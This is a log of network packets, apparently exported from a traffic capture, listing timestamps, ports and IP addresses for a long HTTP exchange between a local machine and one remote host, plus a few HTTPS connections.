Nov 24, 2024 23:24:32.802328110 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.802407980 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802485943 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802509069 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.802598953 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.802633047 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.803997993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.804069042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.804416895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.804471970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.805860043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.806046963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.806104898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.807800055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.807857990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.807858944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.807929039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.809753895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.809808969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.809834957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.809844971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.811695099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.811753988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.811815977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.811965942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.813599110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.813764095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.813817978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.815541029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.815598011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.815623045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.815677881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.817464113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.817517996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.817519903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.817610979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.819447994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.819464922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.819506884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.819519997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.821346045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.821527004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.821588993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.823347092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.823405027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.823899031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.824136019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.825211048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.825263023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.825426102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.825608015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.827140093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.827209949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.827282906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.827327967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.829108000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.829124928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.829195976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.831028938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.831114054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.831131935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.831206083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.832966089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.833049059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.833308935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.833801031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.834913969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.834930897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.834994078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.834994078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.836875916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.836963892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.837032080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.838731050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.838809013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.838928938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.838973045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.841057062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.841073990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.841149092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.842608929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.842673063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.842674971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.842737913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.844520092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.844594955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.844768047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.844846010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.846510887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.846539974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.846575022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.846596956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.848475933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.848490000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.848615885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.850377083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.850394964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.850445986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.850466967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.852339029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.852416039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.852485895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.854229927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.854279995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.854362011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.856175900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.856235027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.856487989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.856544018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.858094931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.858155012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.858171940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.858217955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.860017061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.860080004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.860209942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.860311031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.861985922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.862046957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.862108946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.862150908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.863933086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.863949060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.864026070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.865804911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.866005898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.866085052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.867835045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.868020058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.956024885 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.956310034 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.956324100 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.957521915 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.958463907 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.958642006 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.969372034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.969432116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.969583035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.969746113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.970237970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.970253944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.970314980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.971609116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.971652985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.971668959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.971698046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.973371983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.973387957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.973443985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.974596977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.974615097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.974756002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.976011038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.976460934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.976526022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.977463961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.977514029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.977521896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.977607965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.978884935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.978981018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.979047060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.980314970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.980376959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.980412006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.980457067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.981734037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.981749058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.981800079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.981828928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.983728886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.983743906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.983792067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.983830929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.984549999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.984565973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.984617949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.984639883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.985840082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.985909939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.985951900 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.985968113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.986021042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.986234903 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.986252069 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.987211943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.987277031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.987302065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.987358093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.987692118 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.987765074 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.988073111 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.988156080 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.988569021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.988620043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.988667011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.988689899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.989926100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.990221024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.990272045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.991311073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.991338015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.991388083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.991404057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.992638111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.992655039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.992705107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.992716074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.994004965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.994020939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.994065046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.994086027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.995310068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.995332956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.995357037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.995534897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.996654034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.996803999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.996833086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.996854067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.998011112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.998028040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.998100996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.999309063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.999399900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.999407053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.999438047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.000629902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.000689983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.000806093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.000875950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.004650116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.004668951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.004693985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.004709005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.004714966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.004755020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.005496025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.005589008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.005671024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.005717039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.006922007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.007106066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.007153034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.008196115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.008388042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.008439064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.009532928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.009547949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.009646893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.009646893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.010761976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.010854959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.010920048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.010963917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.012099028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.012320995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.012641907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.013525009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.013607979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.013700008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.013771057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.013900995 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:33.014760971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.014777899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.014857054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.014887094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.015377998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.015439987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.015649080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.015693903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.016726017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.016783953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.016855001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.016896963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.018090963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.018155098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.019202948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.021770000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.021784067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.021799088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.021821976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.021838903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.021893024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.022979021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.023319960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.024338007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.024399042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.024728060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.024784088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.025573969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.025588989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.025648117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.025670052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.026367903 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:33.026427031 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:33.026559114 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:33.026732922 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:33.026763916 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:33.026913881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.027034998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.027442932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.027692080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.028172970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.028234959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.028372049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.028450966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.029144049 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:33.029167891 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:33.029531002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.030060053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.030129910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.031096935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.031217098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.031610966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.032051086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.032324076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.032392979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.048995018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.049010992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.049076080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.049613953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.049653053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.049676895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.049706936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.050950050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.051026106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.051162958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.051213026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.053579092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.053654909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.054686069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.054914951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.055764914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.055779934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.055814981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.055840015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.055917025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.055954933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.056060076 CET	80	49760	185.215.113.206	192.168.2.5
